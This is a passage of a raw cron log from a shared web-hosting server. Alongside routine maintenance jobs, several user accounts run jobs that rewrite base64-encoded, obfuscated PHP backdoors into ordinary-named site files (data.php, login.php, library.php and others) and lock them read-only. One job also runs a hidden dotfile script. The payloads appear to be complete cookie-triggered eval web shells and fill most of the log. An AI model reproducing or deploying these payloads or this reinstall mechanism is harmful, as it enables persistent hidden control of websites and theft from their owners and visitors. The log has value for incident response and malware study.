"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:44:01 medusa CROND[13174]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:44:01 medusa CROND[13175]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:44:01 medusa CROND[13176]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:44:01 medusa CROND[13178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:44:01 medusa CROND[13181]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:44:01 medusa CROND[13187]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:44:01 medusa CROND[13192]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:44:01 medusa CROND[13177]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:45:01 medusa CROND[29440]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:45:02 medusa CROND[29452]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:45:02 medusa CROND[29467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:45:02 medusa CROND[29631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:45:02 medusa CROND[29729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:45:02 medusa CROND[29731]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:45:02 medusa CROND[29736]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:45:02 medusa CROND[29739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:45:02 medusa CROND[29740]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:45:02 medusa CROND[29745]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 03:45:02 medusa CROND[29748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:45:02 medusa CROND[29749]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:45:02 medusa CROND[29754]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:45:02 medusa CROND[29756]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:45:02 medusa CROND[29758]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:45:02 medusa CROND[29762]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:45:02 medusa CROND[29755]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:45:02 medusa CROND[29763]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:45:02 medusa CROND[29767]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:45:02 medusa CROND[29765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:45:02 medusa CROND[29772]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:45:02 medusa CROND[29760]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:45:02 medusa CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:46:01 medusa CROND[14388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:46:02 medusa CROND[14656]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:46:02 medusa CROND[14657]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:46:02 medusa CROND[14659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:46:02 medusa CROND[14660]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:46:02 medusa CROND[14663]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:46:02 medusa CROND[14664]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:46:02 medusa CROND[14665]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
